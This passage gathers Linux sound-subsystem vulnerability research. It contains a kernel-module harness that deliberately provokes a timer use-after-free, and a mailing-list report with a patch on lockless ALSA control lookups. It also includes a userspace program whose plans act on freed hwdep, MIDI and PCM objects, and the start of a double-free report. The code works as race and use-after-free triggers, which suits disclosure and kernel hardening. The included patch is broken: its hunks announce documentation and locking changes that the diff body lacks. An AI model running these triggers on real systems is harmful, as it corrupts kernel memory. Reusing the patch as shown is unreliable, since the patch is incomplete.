* The real driver (sound/isa/sb/emu8000_pcm.c) needs AWE64 ISA hardware,
* which QEMU x86 cannot provide. This harness is a MECHANISM REPLICA: the
* three audited code fragments are replicated 1:1 in semantics on a
* lookalike struct, and the REAL kernel timer machinery is used so the
* freed-timer re-arm manifests through the genuine timer subsystem:
*
* f5_timer_func() <- emu8k_pcm_timer_func() (emu8000_pcm.c:183-211)
* scoped_guard(spinlock, &rec->timer_lock) { position update;
* mod_timer(&rec->timer, jiffies + 1); }
* (L200: unconditional self-re-arm, no state check anywhere)
* f5_start_voice() <- start_voice() timer half (emu8000_pcm.c:346-351)
* f5_stop_voice() <- stop_voice() (emu8000_pcm.c:357-369)
* guard(spinlock_irqsave)(&rec->timer_lock) {
* if (rec->timer_running) { timer_delete(&rec->timer);
* rec->timer_running = 0; } }
* f5_close() <- emu8k_pcm_close() (emu8000_pcm.c:246-252)
* kfree(rec); (no timer cleanup of any kind)
*
* Plans (module params):
* fw05_ctl - deterministic "escape order" (the audited Case-3

 *               interleaving, force-constructed and labeled as such):
 *               open -> start (timer runs, self-rearms for ~2s of real
 *               firing) -> stop (timer_delete + running=0) -> inflight
 *               (run the verbatim callback body once, mimicking the
 *               already-dequeued callback that re-arms AFTER stop: mod_timer
 *               re-arms the timer on a rec that stop() believes dead)
 *               -> close (kfree(rec)) -> <=1 jiffy later the REAL timer
 *               fires on the freed rec: UAF read of rec->timer_lock/fields
 *               and re-arm of the freed timer_list.

* fw05_nat - natural hammering: 300 rounds of
* start -> usleep(1-3ms) -> stop -> close, racing the real
* per-jiffy callback (narrow window, honest attempt).
*
* Zero kernel source modification.
*/
#define pr_fmt(fmt) "FWMR05: " fmt

#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/timer.h>
#include <linux/kthread.h>
#include <linux/delay.h>

/*
* Lookalike of struct snd_emu8k_pcm (emu8000_pcm.c:44-60): the audited
* fields are laid out identically in role (timer embedded in the struct,
* spinlock guards it, state flags checked by NOBODY in the callback). */

struct f5rec {
	spinlock_t timer_lock;
	struct timer_list timer;
	unsigned int timer_running:1;
	unsigned int running:1;
	int last_ptr;
	int period_pos;
	int buf_size;
	int period_size;
	void *substream;	/* real driver: snd_pcm_substream */
};

static struct f5rec *rec;

/*
* Verbatim semantics of emu8k_pcm_timer_func() (emu8000_pcm.c:183-211):
* position update under timer_lock, UNCONDITIONAL self-re-arm at L200
* (no timer_running/running check anywhere), period handling, and the
* out-of-lock snd_pcm_period_elapsed(rec->substream) at L210. */
static void f5_body(struct f5rec *r)

{
	bool elapsed = false;

	scoped_guard(spinlock, &r->timer_lock) {
		/* emu8k_get_curpos() + delta update analog */
		int ptr = r->last_ptr + 1;
		int delta = ptr - r->last_ptr;

		r->period_pos += delta;
		r->last_ptr = ptr;

		/* L200: the audited unconditional self-re-arm */
		mod_timer(&r->timer, jiffies + 1);

		if (r->period_pos >= r->period_size) {
			r->period_pos %= r->period_size;
			elapsed = true;
		}
	}
	if (elapsed) {
		/* L210 analog: snd_pcm_period_elapsed(rec->substream);
		 * no real pcm in the replica -- the freed-rec read above is
		 * the KASAN-relevant dereference. */
	}
}

static void f5_timer_func(struct timer_list *t)

{
	struct f5rec *r = timer_container_of(r, t, timer);

	f5_body(r);
}

/* start_voice() timer half (emu8000_pcm.c:346-352), verbatim semantics */ static void f5_start_voice(void)

{
	guard(spinlock_irqsave)(&rec->timer_lock);
	if (!rec->timer_running) {
		mod_timer(&rec->timer, jiffies + 1);
		rec->timer_running = 1;
	}
}

/* stop_voice() (emu8000_pcm.c:357-369), verbatim semantics:
* timer_delete() without any synchronization for an in-flight callback. */
static void f5_stop_voice(void)

{
	guard(spinlock_irqsave)(&rec->timer_lock);
	if (rec->timer_running) {
		timer_delete(&rec->timer);
		rec->timer_running = 0;
	}
}

/* emu8k_pcm_close() (emu8000_pcm.c:246-252), verbatim semantics */ static void f5_close(void)

{
	pr_info("close: kfree(rec) with no timer cleanup\n");
	kfree(rec);
	rec = NULL;
}

static int f5_open_set(const char *val, const struct kernel_param *kp)

{
	if (rec)
		return -EBUSY;
	rec = kzalloc(sizeof(*rec), GFP_KERNEL);
	if (!rec)
		return -ENOMEM;
	spin_lock_init(&rec->timer_lock);
	timer_setup(&rec->timer, f5_timer_func, 0);
	rec->buf_size = 4096;
	rec->period_size = 1024;
	pr_info("open: rec=%p timer_setup done (emu8k_pcm_open analog)\n", rec);
	return 0;
}

static int f5_start_set(const char *val, const struct kernel_param *kp)

{
	if (!rec)
		return -ENODEV;
	rec->running = 1;
	f5_start_voice();
	pr_info("start: timer armed, will self-re-arm every jiffy\n");
	return 0;
}

static int f5_stop_set(const char *val, const struct kernel_param *kp)

{
	if (!rec)
		return -ENODEV;
	rec->running = 0;
	f5_stop_voice();
	pr_info("stop: timer_delete done, timer_running=0 "
		"(no sync for in-flight callback -- audited shape)\n");
	return 0;
}

/*
* The audited Case-3 escape interleaving, force-constructed: an already-
* dequeued callback (started before stop() completed) runs its verbatim
* body AFTER stop() and re-arms the timer on a rec the stop path believes
* dead. This is a controlled construction -- it only widens the window,
* the three code fragments are the audited ones verbatim.
*/
static int f5_inflight_set(const char *val, const struct kernel_param *kp)

{
	if (!rec)
		return -ENODEV;
	pr_info("inflight: running verbatim callback body post-stop "
		"(case-3 escape construction)\n");
	f5_body(rec);
	pr_info("inflight: body returned -- timer re-armed on a stopped rec\n");
	return 0;
}

static int f5_close_set(const char *val, const struct kernel_param *kp)

{
	if (!rec)
		return -ENODEV;
	f5_close();
	pr_info("close done: armed timer on freed rec fires in <=1 jiffy\n");
	return 0;
}

/* ---- natural hammering variant ---- */

static unsigned int f5_rounds = 300;
static struct task_struct *f5_thr;

static int f5_nat_fn(void *arg)

{
	int n;

	for (n = 0; n < f5_rounds && !kthread_should_stop(); n++) {
		rec = kzalloc(sizeof(*rec), GFP_KERNEL);
		if (!rec)
			break;
		spin_lock_init(&rec->timer_lock);
		timer_setup(&rec->timer, f5_timer_func, 0);
		rec->buf_size = 4096;
		rec->period_size = 1024;
		rec->running = 1;
		f5_start_voice();
		usleep_range(1000, 3000);	/* 1-3 jiffies of real firing */
		f5_stop_voice();
		f5_close();			/* kfree(rec) */
		usleep_range(2000, 4000);	/* let a re-armed timer land */
	}
	pr_info("nat: %d rounds done\n", n);
	return 0;
}

static int f5_nat_set(const char *val, const struct kernel_param *kp)

{
	f5_thr = kthread_run(f5_nat_fn, NULL, "fwmr05_nat");
	return 0;
}

static const struct kernel_param_ops f5_open_ops = { .set = f5_open_set }; static const struct kernel_param_ops f5_start_ops = { .set = f5_start_set }; static const struct kernel_param_ops f5_stop_ops = { .set = f5_stop_set }; static const struct kernel_param_ops f5_inflight_ops = { .set = f5_inflight_set }; static const struct kernel_param_ops f5_close_ops = { .set = f5_close_set }; static const struct kernel_param_ops f5_nat_ops = { .set = f5_nat_set }; module_param_cb(fw05_open, &f5_open_ops, NULL, 0200); module_param_cb(fw05_start, &f5_start_ops, NULL, 0200); module_param_cb(fw05_stop, &f5_stop_ops, NULL, 0200); module_param_cb(fw05_inflight, &f5_inflight_ops, NULL, 0200); module_param_cb(fw05_close, &f5_close_ops, NULL, 0200); module_param_cb(fw05_nat, &f5_nat_ops, NULL, 0200);

static int __init fwmr05_init(void)

{
	return 0;
}

static void __exit fwmr05_exit(void)

{
	if (f5_thr)
		kthread_stop(f5_thr);
	if (rec) {
		timer_delete_sync(&rec->timer);
		kfree(rec);
		rec = NULL;
	}
}

module_init(fwmr05_init);
module_exit(fwmr05_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("FW-MR-05 emu8k timer mechanism-replica harness");

author
#132 lore raw

ALSA: control: find_id()/find_numid() kerneldoc claims they take controls_rwlock internally; the FAST_LOOKUP implementation is a lockless, unreferenced xa_load and several in-tree callers use it unlocked (UAF)

In reply to Greg KH

With CONFIG_SND_CTL_FAST_LOOKUP, snd_ctl_find_numid() and snd_ctl_find_id() are, on their fast paths, plain xa_load() calls on card->ctl_numids / card->ctl_hash that return an unreferenced struct snd_kcontrol pointer which the callers immediately dereference (elem_id_matches(), control.c:855). Both kerneldoc blocks still state "Note that this function takes card->controls_rwlock lock internally" (control.c:816 and 841) -- that is stale and factually wrong for the FAST_LOOKUP implementation, which only takes controls_rwlock in its fallback branch. The removal path frees the object without any grace period (__snd_ctl_remove() -> remove_hash_entries() -> kfree(), control.c:588/598/331), so an xa_load that raced a concurrent xa_erase() dereferences freed memory. The core ioctl paths hold card->controls_rwsem (read) around their lookups and are safe, but several in-tree callers use the two functions with no lock at all:
get_available_index() in sound/core/ctljack.c (the dedup loop used by every jack-kcontrol creation, run from driver probe on an already registered card), snd_ctl_add_followers() in sound/core/vmaster.c, find_mixer_ctl() in sound/hda/common/codec.c, and the dedup loop of snd_usb_mixer_add_list() in sound/usb/mixer.c.

We want to be explicit about what we could and could not demonstrate. The reader window we probed -- get_available_index() during an HDA reconfig reprobe -- turns out to be mutually exclusive with a user-space ELEM_ADD/ELEM_REMOVE writer: snd_hda_lock_devices() (sound/hda/common/codec.c) refuses the reconfig reset while any control file is open ("The codec is being used"), and an open("/dev/snd/controlC0") inside the reset window fails with ENODEV. We measured both on 7.3 (negative plan attached), so the user-space writer pairing is structurally closed and no dynamic hit was possible through it. The remaining reachable writer pairs are driver-side (a second codec of the same card being reset/unbound, or card teardown), which a single-codec QEMU guest cannot build. We therefore report this as a locking-contract defect (wrong kerneldoc, latent use-after-free, unreferenced pointers escaping into longer-lived state) rather than as an actively exploitable bug, together with a patch that restores the contract at the unlocked call sites.

The detailed description:

* Test environment / affected version

Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #3 SMP PREEMPT_DYNAMIC -- vanilla mainline 7.3 release tarball, KASAN + CONFIG_SND_CTL_FAST_LOOKUP enabled, QEMU/KVM x86_64 guest with intel-hda + hda-duplex (CONFIG_SND_HDA_RECONFIG / SND_HDA_GENERIC). sound/core/control.c, sound/core/ctljack.c, sound/core/vmaster.c, sound/usb/mixer.c are byte-identical to mainline 7.3; line numbers below are from 7.3.

* Mechanism

- FAST_LOOKUP read path: snd_ctl_find_numid() is

    xa_load(&card->ctl_numids, numid) (control.c:825);
    snd_ctl_find_id() does xa_load(&card->ctl_hash, hash) followed by
    an immediate elem_id_matches(kctl, id) dereference of
    kctl->id.{iface,device,subdevice,name,index,count} (control.c:854,
    370-379).  controls_rwlock is only taken in the collision/fallback
    branch (control.c:861).

- Free path has no grace period: __snd_ctl_remove() erases the hash entries (588) and kfree()s the kcontrol (598 -> 331) directly; the XArray's internal RCU protects the array walk, not the object lifetime, so "xa_load returned the pointer" and "kfree() already ran" can overlap with the reader between load and dereference.

- The window is real code distance, not theory: between the xa_load() at 854 and elem_id_matches() at 855 the writer can complete both xa_erase() and kfree().

- Unlocked callers (all verified to hold no controls_rwsem in their calling context): ctljack.c:41 (get_available_index loop, jack creation during probe on a registered card), vmaster.c:298 (snd_ctl_add_followers), hda codec.c:1645 (find_mixer_ctl), usb/mixer.c:592 (snd_usb_mixer_add_list dedup loop).

- Reachability boundary (measured): reconfig-driven readers cannot run concurrently with any control-file holder because snd_hda_lock_devices() gates the reset on an empty card->ctl_files. Driver-side writers (second codec reset/unbind on the same card; snd_ctl_dev_free() at card teardown) do not have that coupling and remain reachable.

* Trigger model

Latent defect: needs an unlocked lookup in flight while the same (or hash-colliding) control is removed concurrently -- realistically the dual-codec HDA reconfig/unbind pairing, or card teardown. The consequence of a hit is a use-after-free read in elem_id_matches() and an unreferenced dangling pointer handed to callers that store it (e.g. snd_ctl_add_followers() would register a freed follower), plus wrong dedup decisions from re-used memory. We did not observe a dynamic hit and are not claiming exploitability; the report is about the violated contract, the stale documentation and the unlocked in-tree callers.

* Reproducer (attached: fwmr_test.c) and results on 7.3

The attached mr06storm plan is the writer half (ELEM_ADD/ELEM_REMOVE of an iface=CARD user control whose name matches an existing jack control, i.e. same ctl_hash key). The measured negative: the reconfig loop's reset is rejected ("being used") once the storm holds controlC0, and open(controlC0) inside the reset window returns ENODEV -- the pairing cannot be built from user space (log excerpt attached). The dual-codec pairing needs hardware/guest topologies we could not assemble.

* Suggested patch

Restore the documented contract at the unlocked call sites and fix the documentation: both kerneldoc blocks now state the truth (the returned pointer is unreferenced, FAST_LOOKUP is an unlocked xa_load, callers must hold controls_rwsem or protect the object), and the three straightforwardly wrappable callers (ctljack.c get_available_index(), vmaster.c snd_ctl_add_followers(), usb/mixer.c snd_usb_mixer_add_list() -- the latter releases the read lock before snd_ctl_add() takes the write lock) hold controls_rwsem read for their lookup sections. find_mixer_ctl() in the HDA code was deliberately left out pending an audit of its callers, several of which are reachable in contexts we could not all verify. A deeper fix (kfree_rcu for kcontrols + RCU read sections) is worth discussing but touches the release path of every control type, so it is out of scope for this first patch. The complete patch against 7.3 follows (also kept as patch/0001-fw-mr06.patch).

---- patch begins ----
---

sound/core/control.c +0 -0
@@ -813,7 +813,11 @@
  *
  * Return: The pointer of the instance if found, or %NULL if not.
  *
  * Note that this function takes card->controls_rwlock lock internally.
  */
 struct snd_kcontrol *snd_ctl_find_numid(struct snd_card *card,
 					unsigned int numid)
@@ -838,7 +842,11 @@
  *
  * Return: The pointer of the instance if found, or %NULL if not.
  *
  * Note that this function takes card->controls_rwlock lock internally.
  */
 struct snd_kcontrol *snd_ctl_find_id(struct snd_card *card,
 				     const struct snd_ctl_elem_id *id)
sound/core/ctljack.c +1 -0
@@ -38,6 +38,13 @@
 	sid.iface = SNDRV_CTL_ELEM_IFACE_CARD;
 	strscpy(sid.name, name, sizeof(sid.name));
 
+	guard(rwsem_read)(&card->controls_rwsem);
 	while (snd_ctl_find_id(card, &sid)) {
 		sid.index++;
 		/* reset numid; otherwise snd_ctl_find_id() hits this again */
sound/core/vmaster.c +4 -1
@@ -295,7 +295,10 @@
 	int err;
 
 	for (; *list; list++) {
-		follower = snd_ctl_find_id_mixer(card, *list);
+		/* find_id_mixer() returns an unreferenced pointer; protect
+		 * the lookup against concurrent removals */
+		scoped_guard(rwsem_read, &card->controls_rwsem)
+			follower = snd_ctl_find_id_mixer(card, *list);
 		if (follower) {
 			err = snd_ctl_add_follower(master, follower);
 			if (err < 0)
sound/usb/mixer.c +7 -2
@@ -589,8 +589,13 @@
 	struct usb_mixer_interface *mixer = list->mixer;
 	int err;
 
-	while (snd_ctl_find_id(mixer->chip->card, &kctl->id))
-		kctl->id.index++;
+	/* snd_ctl_find_id() returns an unreferenced pointer; hold the read
+	 * lock for the dedup loop only (snd_ctl_add() takes the write
+	 * lock itself) */
+	scoped_guard(rwsem_read, &mixer->chip->card->controls_rwsem) {
+		while (snd_ctl_find_id(mixer->chip->card, &kctl->id))
+			kctl->id.index++;
+	}
 	err = snd_ctl_add(mixer->chip->card, kctl);
 	if (err < 0) {
 		usb_audio_dbg(mixer->chip, "cannot add control (err = %d)\n",

---- patch ends ----

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

// SPDX-License-Identifier: GPL-2.0
/*
* fwmr_test.c - userspace driver for the sound/firewire FW-MR-* race
* verification harnesses (docs/manual-review-sound-firewire-2026-11-26.md). *
* Plans:
* mr02hold [secs] - FW-MR-02 deterministic release-path variant: open

 *                      /dev/snd/hwC0D0 (real snd_hwdep_open, used=1), read
 *                      once, HOLD the fd across the kernel-side
 *                      snd_emux_free() (host script triggers it), then
 *                      ioctl + close on the freed hwdep -> real
 *                      snd_hwdep_release() derefs freed hw (hw->card->module,
 *                      mutex_lock(&hw->open_mutex), hw->used--).
 *   mr02hammer [iters] - FW-MR-02 in-flight variant (same shape as the
 *                      synth report's mr03, re-attributed): open + ioctl
 *                      hammer while the free runs on the other side.
 *   mr03midi [secs]  - FW-MR-03: poll for /dev/snd/midiC0D0, open
 *                      O_WRONLY|O_NONBLOCK (real snd_rawmidi_open ->
 *                      snd_virmidi_output_open INIT_WORK), write MIDI bytes
 *                      (real snd_rawmidi_output_trigger -> queue_work
 *                      system_highpri_wq), HOLD across fw3_free, write
 *                      again (in-flight work + write path on freed rmidi),
 *                      close (snd_rawmidi_release on freed rmidi).
 *   mr04pcm [secs]   - FW-MR-04: poll for /dev/snd/pcmC1D0p, open (real
 *                      snd_pcm_open, ref_count=1), hammer
 *                      SNDRV_PCM_IOCTL_PVERSION/PINFO, HOLD across fw4_free
 *                      (snd_device_free(card, pcm)), ioctl + close on the
 *                      freed substream/pcm (real snd_pcm_release path).
 *   mr01read [secs]  - FW-MR-01 reader side: hammer
 *                      SNDRV_CTL_IOCTL_ELEM_LIST + ELEM_INFO on
 *                      /dev/snd/controlC0 while a dangling (freed but
 *                      still-linked) jack kcontrol sits in card->controls.
 *   mr06storm [secs] - FW-MR-06 writer side: loop SNDRV_CTL_IOCTL_ELEM_ADD +
 *                      ELEM_REMOVE of a user control with iface=CARD whose
 *                      name is copied from an existing CARD control (same
 *                      ctl_hash key as the jack controls the reconfig probe
 *                      looks up locklessly in get_available_index()).

* waitdev <path> [timeout_ms] - poll until a device node appears.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sound/asound.h>
#include "include/sound/sfnt_info.h"

static void waitdev(const char *path, int timeout_ms)

{
	int waited = 0;
	struct stat st;

	while (stat(path, &st) != 0) {
		if (waited >= timeout_ms)
			return;
		usleep(20000);
		waited += 20;
	}
}

/* ---- FW-MR-02 ---- */

static int plan_mr02hold(int secs)

{
	int fd;
	unsigned int ver = 0;

	waitdev("/dev/snd/hwC0D0", 8000);
	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
		return 1;
	}
	printf("MR02HOLD: fd open (hw->used=1), VERSION probe done\n");
	fflush(stdout);
	printf("MR02HOLD: holding fd for %ds (host frees emux now)\n", secs);
	fflush(stdout);
	sleep(secs);
	printf("MR02HOLD: ioctl on freed hwdep (in snd_hwdep_ioctl path)\n");
	fflush(stdout);
	ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
	printf("MR02HOLD: closing -> real snd_hwdep_release() on freed hw\n");
	fflush(stdout);
	close(fd);
	printf("MR02HOLD: reopen attempt (minor unregistered -> ENODEV)\n");
	fflush(stdout);
	close(open("/dev/snd/hwC0D0", O_RDWR));
	printf("MR02HOLD: done\n");
	return 0;
}

static int plan_mr02hammer(int iters)

{
	int fd, i;
	unsigned int ver = 0;

	waitdev("/dev/snd/hwC0D0", 8000);
	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
		return 1;
	}
	printf("MR02HAMMER: %d ioctl iterations\n", iters);
	fflush(stdout);
	for (i = 0; i < iters; i++) {
		ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
		if ((i % 256) == 0) {
			printf("MR02HAMMER: iter %d\n", i);
			fflush(stdout);
		}
		usleep(100);
	}
	printf("MR02HAMMER: closing\n");
	fflush(stdout);
	close(fd);
	sleep(2);
	close(open("/dev/snd/hwC0D0", O_RDWR));
	printf("MR02HAMMER: done\n");
	return 0;
}

/* ---- FW-MR-03 ---- */

static int plan_mr03midi(int secs)

{
	int fd, n = 0;
	unsigned char msg[3] = { 0x90, 0x40, 0x7f };

	waitdev("/dev/snd/midiC0D0", 15000);
	fd = open("/dev/snd/midiC0D0", O_WRONLY | O_NONBLOCK);
	if (fd < 0) {
		fprintf(stderr, "open midiC0D0: %s\n", strerror(errno));
		return 1;
	}
	printf("MR03MIDI: opened output; writing bytes (arms output_work)\n");
	fflush(stdout);
	/* a few writes: each runs snd_rawmidi_kernel_write1 ->
	 * snd_rawmidi_output_trigger(substream, 1) -> queue_work */
	for (n = 0; n < 32; n++)
		{ ssize_t wr_ = write(fd, msg, sizeof(msg)); (void)wr_; }
	printf("MR03MIDI: %d writes queued; holding fd for %ds "
		"(host frees emux now)\n", n, secs);
	fflush(stdout);
	sleep(secs);
	printf("MR03MIDI: writing again on freed rmidi\n");
	fflush(stdout);
	for (n = 0; n < 8; n++)
		{ ssize_t wr_ = write(fd, msg, sizeof(msg)); (void)wr_; }
	printf("MR03MIDI: closing -> real snd_rawmidi_release() on freed rmidi\n");
	fflush(stdout);
	close(fd);
	printf("MR03MIDI: reopen attempt (minor unregistered -> ENODEV)\n");
	fflush(stdout);
	close(open("/dev/snd/midiC0D0", O_WRONLY | O_NONBLOCK));
	printf("MR03MIDI: done\n");
	return 0;
}

/* ---- FW-MR-04 ---- */

static int plan_mr04pcm(int secs)

{
	int fd, i;
	unsigned int ver = 0;
	struct snd_pcm_info info;

	waitdev("/dev/snd/pcmC1D0p", 15000);
	fd = open("/dev/snd/pcmC1D0p", O_WRONLY);
	if (fd < 0) {
		fprintf(stderr, "open pcmC0D0p: %s\n", strerror(errno));
		return 1;
	}
	printf("MR04PCM: opened via real snd_pcm_open (ref_count=1)\n");
	fflush(stdout);
	for (i = 0; i < 64; i++) {
		ioctl(fd, SNDRV_PCM_IOCTL_PVERSION, &ver);
		memset(&info, 0, sizeof(info));
		ioctl(fd, SNDRV_PCM_IOCTL_INFO, &info);
		usleep(1000);
	}
	printf("MR04PCM: 64 probe ioctls done; holding fd for %ds "
		"(host frees pcm now)\n", secs);
	fflush(stdout);
	sleep(secs);
	printf("MR04PCM: INFO ioctl on freed substream/pcm (in snd_pcm_info)\n");
	fflush(stdout);
	memset(&info, 0, sizeof(info));
	ioctl(fd, SNDRV_PCM_IOCTL_INFO, &info);
	printf("MR04PCM: closing -> real snd_pcm_release() on freed objects\n");
	fflush(stdout);
	close(fd);
	printf("MR04PCM: reopen attempt (minor unregistered -> ENODEV)\n");
	fflush(stdout);
	close(open("/dev/snd/pcmC1D0p", O_WRONLY));
	printf("MR04PCM: done\n");
	return 0;
}

/* ---- FW-MR-01 / FW-MR-06 control-face helpers ---- */

static int ctl_open(void)

{
	int fd = open("/dev/snd/controlC0", O_RDWR);

	if (fd < 0)
		fprintf(stderr, "open controlC0: %s\n", strerror(errno));
	return fd;
}

static int plan_mr01read(int secs)

{
	int fd, i, n, err;
	struct snd_ctl_elem_list list;
	struct snd_ctl_elem_id *ids;
	struct snd_ctl_elem_info info;
	unsigned long until = (unsigned long)time(NULL) + secs;

	fd = ctl_open();
	if (fd < 0)
		return 1;
	ids = calloc(256, sizeof(*ids));
	printf("MR01READ: hammering ELEM_LIST+ELEM_INFO for %ds\n", secs);
	fflush(stdout);
	i = 0;
	while ((unsigned long)time(NULL) < until) {
		memset(&list, 0, sizeof(list));
		list.offset = 0;
		list.space = 256;
		list.pids = ids;
		err = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list);
		if (err < 0)
			break;
		for (n = 0; n < (int)list.count && n < 256; n++) {
			memset(&info, 0, sizeof(info));
			info.id = ids[n];
			ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info);
		}
		if ((++i % 64) == 0) {
			printf("MR01READ: round %d (count=%u)\n", i, list.count);
			fflush(stdout);
		}
		usleep(2000);
	}
	printf("MR01READ: done (%d rounds)\n", i);
	free(ids);
	close(fd);
	return 0;
}

static int plan_mr06storm(int secs)

{
	int fd, card, i, added = 0;
	struct snd_ctl_elem_list list;
	struct snd_ctl_elem_id *ids;
	struct snd_ctl_elem_info info;
	struct snd_ctl_elem_id remove_id;
	unsigned long until = (unsigned long)time(NULL) + secs;

	fd = ctl_open();
	if (fd < 0)
		return 1;
	/* take the name of an existing CARD-interface control so the user
	 * control shares the ctl_hash key of the jack controls that the
	 * reconfig probe's get_available_index() looks up locklessly */
	ids = calloc(256, sizeof(*ids));
	memset(&list, 0, sizeof(list));
	list.offset = 0;
	list.space = 256;
	list.pids = ids;
	if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list) < 0) {
		fprintf(stderr, "ELEM_LIST: %s\n", strerror(errno));
		free(ids);
		close(fd);
		return 1;
	}
	memset(&info, 0, sizeof(info));
	for (i = 0; i < (int)list.count && i < 256; i++) {
		info.id = ids[i];
		if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info) < 0)
			continue;
		if (info.id.iface == SNDRV_CTL_ELEM_IFACE_CARD)
			break;
	}
	if (i >= (int)list.count) {
		fprintf(stderr, "no CARD control found\n");
		free(ids);
		close(fd);
		return 1;
	}
	printf("MR06STORM: adding/removing iface=CARD user control '%s' "
		"for %ds\n", info.id.name, secs);
	fflush(stdout);

	i = 0;
	while ((unsigned long)time(NULL) < until) {
		memset(&info, 0, sizeof(info));
		info.id.iface = SNDRV_CTL_ELEM_IFACE_CARD;
		strncpy((char *)info.id.name, "Headphone Jack",
			sizeof(info.id.name) - 1);
		info.type = SNDRV_CTL_ELEM_TYPE_BOOLEAN;
		info.count = 1;
		info.owner = 0;
		if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_ADD, &info) < 0)
			goto drop;
		added++;
		remove_id = info.id;
		ioctl(fd, SNDRV_CTL_IOCTL_ELEM_REMOVE, &remove_id);
drop:
		if ((++i % 256) == 0) {
			printf("MR06STORM: round %d (added=%d)\n", i, added);
			fflush(stdout);
		}
		usleep(500);
	}
	(void)card;
	printf("MR06STORM: done (%d rounds, %d added)\n", i, added);
	free(ids);
	close(fd);
	return 0;
}

static int plan_mr01dump(void)

{
	int fd, n, err;
	struct snd_ctl_elem_list list;
	struct snd_ctl_elem_id *ids;
	struct snd_ctl_elem_info info;

	fd = ctl_open();
	if (fd < 0)
		return 1;
	ids = calloc(256, sizeof(*ids));
	memset(&list, 0, sizeof(list));
	list.offset = 0;
	list.space = 256;
	list.pids = ids;
	err = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list);
	if (err < 0) {
		printf("MR01DUMP: ELEM_LIST failed (%s)\n", strerror(errno));
		free(ids);
		close(fd);
		return 1;
	}
	printf("MR01DUMP: controls_count=%u (dangling entry stays listed)\n",
		list.count);
	fflush(stdout);
	for (n = 0; n < (int)list.count && n < 256; n++) {
		memset(&info, 0, sizeof(info));
		info.id = ids[n];
		ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info);
		printf("MR01DUMP: numid=%-5u iface=%d %s\n",
			ids[n].numid, ids[n].iface, ids[n].name);
		fflush(stdout);
	}
	free(ids);
	close(fd);
	return 0;
}

int main(int argc, char **argv)

{
	if (argc < 2) {
		fprintf(stderr, "usage: fwmr_test <plan> [arg]\n");
		return 2;
	}
	if (!strcmp(argv[1], "mr02hold"))
		return plan_mr02hold(argc > 2 ? atoi(argv[2]) : 4);
	if (!strcmp(argv[1], "mr02hammer"))
		return plan_mr02hammer(argc > 2 ? atoi(argv[2]) : 20000);
	if (!strcmp(argv[1], "mr03midi"))
		return plan_mr03midi(argc > 2 ? atoi(argv[2]) : 6);
	if (!strcmp(argv[1], "mr04pcm"))
		return plan_mr04pcm(argc > 2 ? atoi(argv[2]) : 6);
	if (!strcmp(argv[1], "mr01dump"))
		return plan_mr01dump();
	if (!strcmp(argv[1], "mr01read"))
		return plan_mr01read(argc > 2 ? atoi(argv[2]) : 15);
	if (!strcmp(argv[1], "mr06storm"))
		return plan_mr06storm(argc > 2 ? atoi(argv[2]) : 60);
	if (!strcmp(argv[1], "waitdev"))
		return (waitdev(argv[2], argc > 3 ? atoi(argv[3]) : 10000), 0);
	fprintf(stderr, "unknown plan %s\n", argv[1]);
	return 2;
}
author
#133 lore raw

ALSA: aoa/i2sbus: unlocked codec_list / dev->pcm check-and-free in i2sbus_detach_codec() can double-free the pcm under concurrent codec detaches (Double free)

In reply to Greg KH

i2sbus_detach_codec() (sound/aoa/soundbus/i2sbus/pcm.c:1021-1043) is the remove callback of the AOA soundbus codec plumbing. It walks and mutates dev->codec_list with no lock, and ends in an unlocked
check-then-free: "if (list_empty(&dev->codec_list) && dev->pcm) snd_device_free(dev->pcm->card, dev->pcm)". Two properties make that a race rather than a benign sequence:

1. The callers hold device locks that do not serialize against each other. Codec drivers detach from i2c driver context (onyx/tas/ toonie i2c remove -> aoa_codec_unregister() -> codec->exit() -> i2sbus_detach_codec(), each holding its own i2c client device lock), while i2sbus/fabric removal runs from the macio/soundbus device lock context (i2sbus_remove() -> soundbus_remove_one() -> aoa_fabric_layout_remove() -> aoa_fabric_unlink_codec() -> codec->exit() -> the same function). No lock is shared between any two of these entry points, and the function itself takes none.

2. A bus can host more than one codec: MAX_CODECS_PER_BUS is 2 (sound/aoa/fabrics/layout.c:22, codecs[MAX_CODECS_PER_BUS]). Two codec drivers being removed concurrently (concurrent rmmod of snd-aoa-codec-onyx and snd-aoa-codec-tas, or concurrent i2c unbinds) therefore enter i2sbus_detach_codec() on the same soundbus_dev from two CPUs.

With both threads past their own list_del(&cii->list), both evaluate list_empty(&dev->codec_list) as true, and both see dev->pcm != NULL (it is only cleared later, inside i2sbus_private_free(), which runs from within snd_pcm_free() at the tail of the first snd_device_free()). Both then call snd_device_free(card, dev->pcm) on the same pcm. The interleavings are: both enter look_for_dev() and iterate card->devices while the other thread list_del()s and kfree()s the same struct snd_device wrapper (use-after-free on the wrapper and card-device-list corruption), or both find the entry and run __snd_device_free() twice -- snd_pcm_free() executed twice, including snd_ctl_remove() of the chmap control and kfree(pcm) twice. Independently of the pcm, the same snd_device_free() racing snd_card_disconnect()'s snd_device_disconnect_all() walk (sound/core/device.c:208-216 -- the card device list has no locking at all) corrupts the list from the other direction. Consequence: double free / use-after-free / list corruption, i.e. memory corruption beyond the driver.

The detailed description:

* Test environment / affected version

